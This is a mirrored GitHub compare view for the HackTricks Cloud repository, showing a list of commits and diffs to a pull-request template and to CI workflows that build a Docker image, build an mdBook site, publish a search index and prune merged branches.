mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-08 13:50:50 -08:00
Compare commits
622 Commits
pt
...
searchinde
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
50520f6c7d | ||
|
|
1b274752fd | ||
|
|
63f5aa81e3 | ||
|
|
eb7245d3fd | ||
|
|
675092de06 | ||
|
|
570c0f46af | ||
|
|
2468851007 | ||
|
|
d0ebc37eb3 | ||
|
|
79fd264473 | ||
|
|
becec234f4 | ||
|
|
143e6bdfe9 | ||
|
|
2a5d2dea9e | ||
|
|
9b52c7953d | ||
|
|
07628e009a | ||
|
|
8d39c38b58 | ||
|
|
7097f55620 | ||
|
|
f96fed548e | ||
|
|
21b31a3be3 | ||
|
|
5d031d4518 | ||
|
|
1e51bb702d | ||
|
|
1111212cbb | ||
|
|
bb763109dc | ||
|
|
25af34d5a2 | ||
|
|
a10148e331 | ||
|
|
b904273a19 | ||
|
|
0aa87b8319 | ||
|
|
004e341804 | ||
|
|
24c1d54861 | ||
|
|
015b24f51c | ||
|
|
8589cf621f | ||
|
|
c8957b9107 | ||
|
|
ecebe97de5 | ||
|
|
fe691c5c50 | ||
|
|
de064b1b68 | ||
|
|
ea0f667e57 | ||
|
|
b7a1554deb | ||
|
|
1304799271 | ||
|
|
18e756320d | ||
|
|
78767e199c | ||
|
|
65816a9798 | ||
|
|
fc5e23269c | ||
|
|
89a2ab54ae | ||
|
|
f3afa739ad | ||
|
|
d11f3a3880 | ||
|
|
590e54ea9e | ||
|
|
f539a9e2d9 | ||
|
|
e153dc47b0 | ||
|
|
9242d2e4d9 | ||
|
|
37b03b3517 | ||
|
|
a6491998d2 | ||
|
|
dba44c006e | ||
|
|
b9b20e4567 | ||
|
|
391b11e92c | ||
|
|
19024e5a7c | ||
|
|
4d9445d2bb | ||
|
|
7f435558c4 | ||
|
|
a7ce58fa25 | ||
|
|
5b5e339f96 | ||
|
|
5bd2aafc8e | ||
|
|
00730ca794 | ||
|
|
923f510164 | ||
|
|
fec9bfb986 | ||
|
|
6a11053885 | ||
|
|
de46109976 | ||
|
|
fd19dc2304 | ||
|
|
599d45c50a | ||
|
|
5b2a228050 | ||
|
|
d1f95b1929 | ||
|
|
846ad61b73 | ||
|
|
c09016a56f | ||
|
|
77b76bfb00 | ||
|
|
3883d1a74e | ||
|
|
ebb51f81bb | ||
|
|
d761716a28 | ||
|
|
467491e1ae | ||
|
|
d05d94d995 | ||
|
|
bc1201eb61 | ||
|
|
15ff9a7d1c | ||
|
|
4880cb4574 | ||
|
|
05853fcc19 | ||
|
|
a45973b8a7 | ||
|
|
38dae42b81 | ||
|
|
5adcd244f6 | ||
|
|
33ca677b86 | ||
|
|
b1af5ce692 | ||
|
|
61ae9f83db | ||
|
|
07a16af4ec | ||
|
|
f45429555e | ||
|
|
f92d67cfdc | ||
|
|
d7c57cba6e | ||
|
|
a641fcea8a | ||
|
|
eb4f46f714 | ||
|
|
1ceeca1326 | ||
|
|
68267218a7 | ||
|
|
3901748f3d | ||
|
|
68de9f8acc | ||
|
|
236a8a2cec | ||
|
|
d373f62166 | ||
|
|
c2c232fd46 | ||
|
|
f3fd4b9294 | ||
|
|
dd2c5af442 | ||
|
|
ee4da87049 | ||
|
|
3b1f434a66 | ||
|
|
8db7266efb | ||
|
|
59437b9b32 | ||
|
|
ea3041d9a2 | ||
|
|
f171d1a97d | ||
|
|
855ef5fd9e | ||
|
|
3ff0c8a86f | ||
|
|
414eeda035 | ||
|
|
dac7b0f906 | ||
|
|
3b456ebc2e | ||
|
|
f0df70528a | ||
|
|
f705477774 | ||
|
|
aff8ab0252 | ||
|
|
06b577d42f | ||
|
|
14e986b2a7 | ||
|
|
581f09f904 | ||
|
|
c76cc24a59 | ||
|
|
15bde67918 | ||
|
|
3f16d3c5f3 | ||
|
|
82a44ea4c0 | ||
|
|
839f139795 | ||
|
|
b82a88252c | ||
|
|
c3cfb95b87 | ||
|
|
e0b92e3b7a | ||
|
|
f521c0d95a | ||
|
|
96b0de9ec9 | ||
|
|
6b96bae348 | ||
|
|
5fd9ed5048 | ||
|
|
3157069bde | ||
|
|
ccd50a451d | ||
|
|
0a1f3dea22 | ||
|
|
e1bc13c19c | ||
|
|
58c7ae8399 | ||
|
|
0ba0d247a8 | ||
|
|
6f8738f34f | ||
|
|
5a6cd9a85c | ||
|
|
ed2ae1e58f | ||
|
|
dbe2969386 | ||
|
|
97759b6cec | ||
|
|
95f380db6b | ||
|
|
65da889db0 | ||
|
|
45a7b74a0f | ||
|
|
4d2fa75b55 | ||
|
|
84bc28f8bb | ||
|
|
ebd15ccb63 | ||
|
|
f72768b30f | ||
|
|
7a92891381 | ||
|
|
e98c16371b | ||
|
|
b1b0b0c536 | ||
|
|
e324b93d88 | ||
|
|
baff049eb8 | ||
|
|
46a8364006 | ||
|
|
ce9f3f87af | ||
|
|
8655bc665f | ||
|
|
26022c0005 | ||
|
|
a315ad9465 | ||
|
|
26d6010bfd | ||
|
|
d613dc8ce7 | ||
|
|
e93215546e | ||
|
|
b4bb813717 | ||
|
|
ab12e74c5e | ||
|
|
55658adf68 | ||
|
|
e10e318840 | ||
|
|
3662845c9c | ||
|
|
7b475f151e | ||
|
|
cfacf65682 | ||
|
|
cacc26efe4 | ||
|
|
3f6485403c | ||
|
|
ec63e0077a | ||
|
|
8197352f5b | ||
|
|
e75ef47d73 | ||
|
|
4c5a2d0b51 | ||
|
|
f26eba3574 | ||
|
|
e1a1b2a31f | ||
|
|
d21b704799 | ||
|
|
278e22cf25 | ||
|
|
ba62c1ded8 | ||
|
|
e6af835b2d | ||
|
|
c3110e5dc2 | ||
|
|
c3d732d46b | ||
|
|
16833c8621 | ||
|
|
e004aa173d | ||
|
|
32d8b32e1f | ||
|
|
8cb8cf4b78 | ||
|
|
682420bd96 | ||
|
|
423b2f5d24 | ||
|
|
06302efcc4 | ||
|
|
12f8a8240c | ||
|
|
cc8c3b9bc7 | ||
|
|
e3be82da7b | ||
|
|
5c9151d0a9 | ||
|
|
4f8f9ebb5d | ||
|
|
a59586d035 | ||
|
|
6f5f13f1d1 | ||
|
|
d0a10b4b59 | ||
|
|
3153e9e112 | ||
|
|
4ba5101450 | ||
|
|
46317efe3f | ||
|
|
13cd85219b | ||
|
|
bb4337235e | ||
|
|
4adabb8e45 | ||
|
|
64e6b18369 | ||
|
|
e79a494c75 | ||
|
|
e8310823ee | ||
|
|
94d6bb7be6 | ||
|
|
3886eb0679 | ||
|
|
b4a33ce277 | ||
|
|
b206e184f6 | ||
|
|
1562438890 | ||
|
|
9c7ae3465b | ||
|
|
afef551baa | ||
|
|
45f06743a5 | ||
|
|
2cf7ab9070 | ||
|
|
a67f9f67e9 | ||
|
|
b76f4ee32e | ||
|
|
c57b961d3f | ||
|
|
6a65d520db | ||
|
|
2d8e6cc317 | ||
|
|
1af7a95753 | ||
|
|
81bd25041e | ||
|
|
a2fc1bb9e4 | ||
|
|
245801a8f3 | ||
|
|
c8ee4e1f63 | ||
|
|
87d7a35977 | ||
|
|
df415302d4 | ||
|
|
227bd60d9d | ||
|
|
6113778d42 | ||
|
|
6229cc5c3f | ||
|
|
cc3464f588 | ||
|
|
84c84de0f6 | ||
|
|
1af5f28379 | ||
|
|
d22733b802 | ||
|
|
13e0bddd0c | ||
|
|
2f1397e2df | ||
|
|
a1718ef3d5 | ||
|
|
c01bb34d34 | ||
|
|
57d0f100e5 | ||
|
|
9e731ee081 | ||
|
|
f37c444854 | ||
|
|
cb0f15bd18 | ||
|
|
05ef9e4e88 | ||
|
|
653f16bf02 | ||
|
|
02f3d3d27e | ||
|
|
fd7e52a9f0 | ||
|
|
a31a609a53 | ||
|
|
2d20c080f1 | ||
|
|
a1abf4a40e | ||
|
|
3267900f8e | ||
|
|
d24b4f4947 | ||
|
|
cb93bc9325 | ||
|
|
89bd5603b5 | ||
|
|
a214e36c16 | ||
|
|
46fb09dbc7 | ||
|
|
c6c5326731 | ||
|
|
0d99994b28 | ||
|
|
518ec63594 | ||
|
|
365ec0ea1b | ||
|
|
55bb9cabcd | ||
|
|
b63860c1b3 | ||
|
|
f396d310ed | ||
|
|
fb64ce166d | ||
|
|
60fe5b65e9 | ||
|
|
d6a90112e4 | ||
|
|
8ac043f850 | ||
|
|
d0ca3b4c13 | ||
|
|
0721cb17a8 | ||
|
|
0a7aa1d734 | ||
|
|
f976ae1b70 | ||
|
|
73895ccc90 | ||
|
|
a0c66139cf | ||
|
|
6d3e83b6fa | ||
|
|
323213ba74 | ||
|
|
f87ea41409 | ||
|
|
fa3baebd58 | ||
|
|
ecb7b8f136 | ||
|
|
64bb51ab33 | ||
|
|
043f28492d | ||
|
|
7136d61e6b | ||
|
|
aa4d2f583f | ||
|
|
5276c9c7db | ||
|
|
005dee76e9 | ||
|
|
954173982d | ||
|
|
014036afb7 | ||
|
|
ff9846dbc6 | ||
|
|
5c6a20ff62 | ||
|
|
524edcbc09 | ||
|
|
8be8f721ca | ||
|
|
d7937f5851 | ||
|
|
8cca683281 | ||
|
|
29db46c537 | ||
|
|
35075688aa | ||
|
|
49023a7e71 | ||
|
|
ec902048e6 | ||
|
|
413635f6ed | ||
|
|
160cdf0767 | ||
|
|
ce9d8e9162 | ||
|
|
27bda8c014 | ||
|
|
d9b93c0df5 | ||
|
|
62ee9ee386 | ||
|
|
1c761c2a55 | ||
|
|
849a545f21 | ||
|
|
cfc01c0374 | ||
|
|
6915cfa68c | ||
|
|
aed8d2e643 | ||
|
|
b2bf4d9b07 | ||
|
|
6788b5e0a5 | ||
|
|
5c702e69b9 | ||
|
|
42f78679a2 | ||
|
|
6c40f6cac4 | ||
|
|
fcb6c989fc | ||
|
|
8d310c43f5 | ||
|
|
27d96d81e1 | ||
|
|
6d88cb548f | ||
|
|
1216308b18 | ||
|
|
00f4a32ae3 | ||
|
|
96579673c1 | ||
|
|
f8c4c4d8ac | ||
|
|
3902e8cafd | ||
|
|
39876cd315 | ||
|
|
d668cf5452 | ||
|
|
d54cb2b5ff | ||
|
|
c79c359fd2 | ||
|
|
1efe5e7e77 | ||
|
|
7991ff4fae | ||
|
|
045b6c2320 | ||
|
|
ab888d748c | ||
|
|
5d3c7b0348 | ||
|
|
d77d87d686 | ||
|
|
9c0cfb6529 | ||
|
|
2730856acc | ||
|
|
221636beae | ||
|
|
740801ab61 | ||
|
|
23ce7a243e | ||
|
|
13f89a6674 | ||
|
|
776d9f73df | ||
|
|
c8c09b0abb | ||
|
|
329ef07c7e | ||
|
|
aad012f215 | ||
|
|
50029a6488 | ||
|
|
5bb4e02a58 | ||
|
|
c0a3872982 | ||
|
|
a19517f026 | ||
|
|
429913c5ec | ||
|
|
2d32b37d9c | ||
|
|
77da1e58ca | ||
|
|
516553f4bf | ||
|
|
188b9a7b0a | ||
|
|
58556acb7d | ||
|
|
0148473b67 | ||
|
|
b832183456 | ||
|
|
3e96d64e50 | ||
|
|
7336c976ae | ||
|
|
def87f1ffb | ||
|
|
b715d43fad | ||
|
|
c6b3795cc5 | ||
|
|
8fa715b08d | ||
|
|
aeb3f8b582 | ||
|
|
568e936ca0 | ||
|
|
2456bca341 | ||
|
|
f138e0366f | ||
|
|
c089890c84 | ||
|
|
901725b847 | ||
|
|
fea4bb8938 | ||
|
|
7026e4e728 | ||
|
|
0e15aeffba | ||
|
|
b7dc63cd26 | ||
|
|
4c9c8c10ac | ||
|
|
64f5661515 | ||
|
|
bee34f3c05 | ||
|
|
2f84f3f328 | ||
|
|
892232fe26 | ||
|
|
c71aa6f7b1 | ||
|
|
ab3e89c82d | ||
|
|
caf320e355 | ||
|
|
e841f06505 | ||
|
|
6456eab2cf | ||
|
|
3c746383c6 | ||
|
|
064162062f | ||
|
|
e3ca81040e | ||
|
|
4313cc72bc | ||
|
|
80b91382f3 | ||
|
|
0828130954 | ||
|
|
94e634230a | ||
|
|
5e48ce18e0 | ||
|
|
61c70bfefd | ||
|
|
ce2ede1e01 | ||
|
|
127c85e7d2 | ||
|
|
40e08a1893 | ||
|
|
e746e3e353 | ||
|
|
0f7175eb98 | ||
|
|
d109bb6b44 | ||
|
|
2505aec847 | ||
|
|
cc5dc4c885 | ||
|
|
09a10afd24 | ||
|
|
0d9b4e5917 | ||
|
|
ad0fd2ac62 | ||
|
|
47c4eb2f02 | ||
|
|
8b8705f5a2 | ||
|
|
e82c35b07f | ||
|
|
5f47797e6a | ||
|
|
90a2f79a0f | ||
|
|
baa1c7240d | ||
|
|
0f6da30192 | ||
|
|
06d67a4432 | ||
|
|
f9413e0d34 | ||
|
|
31acbca2ed | ||
|
|
e938af6965 | ||
|
|
8d0d445b93 | ||
|
|
9cd2ef8e2f | ||
|
|
c4b06ab12c | ||
|
|
5537bfe63d | ||
|
|
6e477bc296 | ||
|
|
46af6b9474 | ||
|
|
e6644e6caa | ||
|
|
fcc20e6908 | ||
|
|
8be9956703 | ||
|
|
2be77df66d | ||
|
|
8594fa5343 | ||
|
|
ba04a6a2ff | ||
|
|
d2f2655fc4 | ||
|
|
5a5104fe95 | ||
|
|
ef85d7fdd5 | ||
|
|
83bc9f97e8 | ||
|
|
d3b9883283 | ||
|
|
81acaa16e0 | ||
|
|
70d0f13e7e | ||
|
|
8392cf548c | ||
|
|
0b97b3caff | ||
|
|
4df9252db4 | ||
|
|
3350e31738 | ||
|
|
17be115fa6 | ||
|
|
ccbbfaee00 | ||
|
|
b98496aaed | ||
|
|
30399528e4 | ||
|
|
650655363f | ||
|
|
615a959bb6 | ||
|
|
0d198fe961 | ||
|
|
abbd0a816b | ||
|
|
13df9aee51 | ||
|
|
eb110dfd72 | ||
|
|
491627bf9f | ||
|
|
ca5a9e1037 | ||
|
|
7537334e2c | ||
|
|
bb664c142d | ||
|
|
4eafaed2b1 | ||
|
|
e158438a0f | ||
|
|
57da0bf8db | ||
|
|
ae7aefe448 | ||
|
|
19401f19d6 | ||
|
|
92b3c384c8 | ||
|
|
0d26e5ed8c | ||
|
|
cd5de3879c | ||
|
|
dc557dad46 | ||
|
|
d6597f9990 | ||
|
|
77a117d772 | ||
|
|
699a707bb6 | ||
|
|
b741525093 | ||
|
|
60b1ca6b88 | ||
|
|
30236714f5 | ||
|
|
f258a13eef | ||
|
|
4e491e3f55 | ||
|
|
b3cfc40029 | ||
|
|
26bf439a59 | ||
|
|
3757efbd43 | ||
|
|
d13ebeaeb5 | ||
|
|
3f01e5e4fa | ||
|
|
8452766003 | ||
|
|
9bea483104 | ||
|
|
7162236a6b | ||
|
|
f5c7490026 | ||
|
|
2383d6958b | ||
|
|
fd5fc9957a | ||
|
|
d42d244a6a | ||
|
|
117bb933af | ||
|
|
9a9ea3101f | ||
|
|
ec6fcd37f0 | ||
|
|
551524079b | ||
|
|
92d27a9632 | ||
|
|
cfcc836974 | ||
|
|
7838f68347 | ||
|
|
452fb430b3 | ||
|
|
ba94d85a36 | ||
|
|
a9b9e95899 | ||
|
|
5a2543873e | ||
|
|
b353597cd3 | ||
|
|
9ed1b29bb9 | ||
|
|
01295fcd13 | ||
|
|
81d2665909 | ||
|
|
873eba38c0 | ||
|
|
979ea57c3b | ||
|
|
ae6616b63b | ||
|
|
dbac949488 | ||
|
|
3e06c28e43 | ||
|
|
5d21fb67a6 | ||
|
|
25395ae94a | ||
|
|
626155bec1 | ||
|
|
8f02f9f5a5 | ||
|
|
d9c68fcf04 | ||
|
|
c76f3defdd | ||
|
|
569f2be7c9 | ||
|
|
416e7cf699 | ||
|
|
480c6ba178 | ||
|
|
8f6514eed9 | ||
|
|
6736e6d5c8 | ||
|
|
1bc1085d79 | ||
|
|
50f10aa913 | ||
|
|
bb6035c0ca | ||
|
|
b6310f4ac6 | ||
|
|
9bcaf7c6df | ||
|
|
a60a5be8d2 | ||
|
|
250329b9aa | ||
|
|
64ab139a57 | ||
|
|
38ec0650ca | ||
|
|
a027dd2a21 | ||
|
|
1e69b05fe7 | ||
|
|
9f84500da6 | ||
|
|
62664886c7 | ||
|
|
e4b1066789 | ||
|
|
0f2e9443ca | ||
|
|
dbb3f98a12 | ||
|
|
234398ad6e | ||
|
|
a6e5b378be | ||
|
|
cdd6583bb6 | ||
|
|
12c468f714 | ||
|
|
0996afea1b | ||
|
|
3fd7b2b8a2 | ||
|
|
e47fdfb9ea | ||
|
|
d6f87481ef | ||
|
|
3000c3b4fe | ||
|
|
15ce1f2a40 | ||
|
|
8ec34fc329 | ||
|
|
5d6efaa6a6 | ||
|
|
73e6fee408 | ||
|
|
833b571498 | ||
|
|
37bf365f5b | ||
|
|
8b52bc23a3 | ||
|
|
d9f6b34673 | ||
|
|
9021590856 | ||
|
|
8ea0f4a3f1 | ||
|
|
78334993a2 | ||
|
|
e8cee6743c | ||
|
|
55fc400bf7 | ||
|
|
dc16c9ff9f | ||
|
|
6d926a6f72 | ||
|
|
d9a7ae2880 | ||
|
|
be659333c8 | ||
|
|
cb67f59e59 | ||
|
|
b3f82cc35c | ||
|
|
1f00ec798e | ||
|
|
782d409f47 | ||
|
|
30f14affe7 | ||
|
|
65cfe4be40 | ||
|
|
39ef4428ef | ||
|
|
de7e5d2eb0 | ||
|
|
78f6ebfdc9 | ||
|
|
4b9cb59f09 | ||
|
|
3b671863b3 | ||
|
|
110692ec5f | ||
|
|
065d29019c | ||
|
|
184a36301a | ||
|
|
c3b572db87 | ||
|
|
894d2f8dc6 | ||
|
|
3eff514680 | ||
|
|
4fae1360a8 | ||
|
|
372ccdf299 | ||
|
|
0c3d697d67 | ||
|
|
cdf8430598 | ||
|
|
432e916b2f | ||
|
|
cb23139acd | ||
|
|
1a41153b95 | ||
|
|
06184f73ec | ||
|
|
bde9b73eb1 | ||
|
|
69db82891a | ||
|
|
52142003ec | ||
|
|
a850e268dc | ||
|
|
cc120ade68 | ||
|
|
3000248da2 | ||
|
|
1a5f666c80 | ||
|
|
95f91529c7 | ||
|
|
b65df65002 | ||
|
|
1c333d4cab | ||
|
|
b0794c4b1c | ||
|
|
009ef58e30 | ||
|
|
ad6c542f82 | ||
|
|
3a7480d764 | ||
|
|
4b71029629 | ||
|
|
c1aee098b6 | ||
|
|
ec0ff62bcb | ||
|
|
2244c6b485 | ||
|
|
61bc94e77d | ||
|
|
13358c1371 | ||
|
|
1e29cb77cc | ||
|
|
d65983432b | ||
|
|
18d1953edd | ||
|
|
c395861d3d | ||
|
|
d9247bf598 | ||
|
|
853e602bc2 | ||
|
|
8750a93d41 | ||
|
|
b918609383 | ||
|
|
3d1f96fd4a | ||
|
|
9eec79f700 | ||
|
|
8a25a0856f | ||
|
|
e67cc3f450 | ||
|
|
194ae6d76b | ||
|
|
d53ffc12eb | ||
|
|
c520826284 | ||
|
|
7a0a0329a7 | ||
|
|
a7bf8124da | ||
|
|
b340bf8ada | ||
|
|
bad627b7db | ||
|
|
96cc8f9772 | ||
|
|
1922e106fd | ||
|
|
d7d5e4a93c | ||
|
|
716aa06779 | ||
|
|
4ef00e6b1b | ||
|
|
2beb8398a6 | ||
|
|
d0b9174054 | ||
|
|
d0e6a85e6f | ||
|
|
d96df379fd | ||
|
|
4d622f5500 |
17
.github/pull_request_template.md
vendored
17
.github/pull_request_template.md
vendored
@@ -1,11 +1,16 @@
|
||||
Você pode remover este conteúdo antes de enviar o PR:
|
||||
You can remove this content before sending the PR:
|
||||
|
||||
## Atribuição
|
||||
Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faça upload de conteúdo que você possui ou que tenha permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos.
|
||||
## Attribution
|
||||
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
|
||||
|
||||
## HackTricks Training
|
||||
Se você está adicionando para que possa passar no exame de [ARTE certification](https://training.hacktricks.xyz/courses/arte) com 2 flags em vez de 3, você precisa chamar o PR de `arte-<username>`.
|
||||
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
|
||||
|
||||
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
|
||||
|
||||
|
||||
In any case, thanks for contributing to HackTricks!
|
||||
|
||||
|
||||
|
||||
Além disso, lembre-se de que correções de gramática/sintaxe não serão aceitas para a redução de flags do exame.
|
||||
|
||||
De qualquer forma, obrigado por contribuir para o HackTricks!
|
||||
|
||||
56
.github/workflows/build_docker.yml
vendored
Normal file
56
.github/workflows/build_docker.yml
vendored
Normal file
@@ -0,0 +1,56 @@
|
||||
name: Build and Push Docker Image
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- 'book/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: build_docker
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
build-and-push:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# 1. Check out the repository to get the Dockerfile
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
# 2. Log into GitHub Container Registry
|
||||
- name: Log in to GHCR
|
||||
uses: docker/login-action@v2
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
# 3. Build and push
|
||||
- name: Build and push Docker image
|
||||
run: |
|
||||
# Define image name
|
||||
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
|
||||
|
||||
# Build Docker image
|
||||
docker build -t $IMAGE_NAME:latest .
|
||||
|
||||
# Push Docker image to GHCR
|
||||
docker push $IMAGE_NAME:latest
|
||||
|
||||
# Set image visibility to public
|
||||
curl -X PATCH \
|
||||
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/packages/container/translator-image/visibility \
|
||||
-d '{"visibility":"public"}'
|
||||
78
.github/workflows/build_master.yml
vendored
78
.github/workflows/build_master.yml
vendored
@@ -14,12 +14,15 @@ on:
|
||||
concurrency: build_master
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
environment: prod
|
||||
|
||||
steps:
|
||||
@@ -27,32 +30,65 @@ jobs:
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
# Cat hacktricks-preprocessor.log
|
||||
#- name: Cat hacktricks-preprocessor.log
|
||||
# run: cat hacktricks-preprocessor.log
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-en"
|
||||
TITLE="Search Index (en)"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
echo "Checking if release $TAG exists..."
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
|
||||
echo "Failed to delete release, trying without cleanup-tag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Warning: Could not delete existing release, will try to recreate..."
|
||||
}
|
||||
}
|
||||
sleep 2 # Give GitHub API a moment to process the deletion
|
||||
else
|
||||
echo "Release $TAG does not exist, proceeding with creation..."
|
||||
fi
|
||||
|
||||
# Create new release (with force flag to overwrite if deletion failed)
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Failed to create release, trying with force flag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
|
||||
sleep 2
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
|
||||
}
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
|
||||
204
.github/workflows/cleanup_branches.yml
vendored
Normal file
204
.github/workflows/cleanup_branches.yml
vendored
Normal file
@@ -0,0 +1,204 @@
|
||||
name: Cleanup Merged/Closed PR Branches
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
|
||||
workflow_dispatch: # Allow manual triggering
|
||||
inputs:
|
||||
dry_run:
|
||||
description: 'Dry run (show what would be deleted without actually deleting)'
|
||||
required: false
|
||||
default: 'false'
|
||||
type: boolean
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
cleanup-branches:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 # Need full history to see all branches
|
||||
token: ${{ secrets.PAT_TOKEN }}
|
||||
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Configure git
|
||||
run: |
|
||||
git config --global user.email "action@github.com"
|
||||
git config --global user.name "GitHub Action"
|
||||
|
||||
- name: Cleanup merged/closed PR branches
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
|
||||
run: |
|
||||
echo "Starting branch cleanup process..."
|
||||
|
||||
# Check if this is a dry run
|
||||
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Define protected branches and patterns
|
||||
protected_branches=(
|
||||
"master"
|
||||
"main"
|
||||
)
|
||||
|
||||
# Translation branch patterns (any 2-letter combination)
|
||||
translation_pattern="^[a-zA-Z]{2}$"
|
||||
|
||||
# Get all remote branches except protected ones
|
||||
echo "Fetching all remote branches..."
|
||||
git fetch --all --prune
|
||||
|
||||
# Get list of all remote branches (excluding HEAD)
|
||||
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
|
||||
|
||||
# Get all open PRs to identify branches with open PRs
|
||||
echo "Getting list of open PRs..."
|
||||
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
|
||||
|
||||
echo "Open PR branches:"
|
||||
echo "$open_pr_branches"
|
||||
echo ""
|
||||
|
||||
deleted_count=0
|
||||
skipped_count=0
|
||||
|
||||
for branch in $all_branches; do
|
||||
branch=$(echo "$branch" | xargs) # Trim whitespace
|
||||
|
||||
# Skip if empty
|
||||
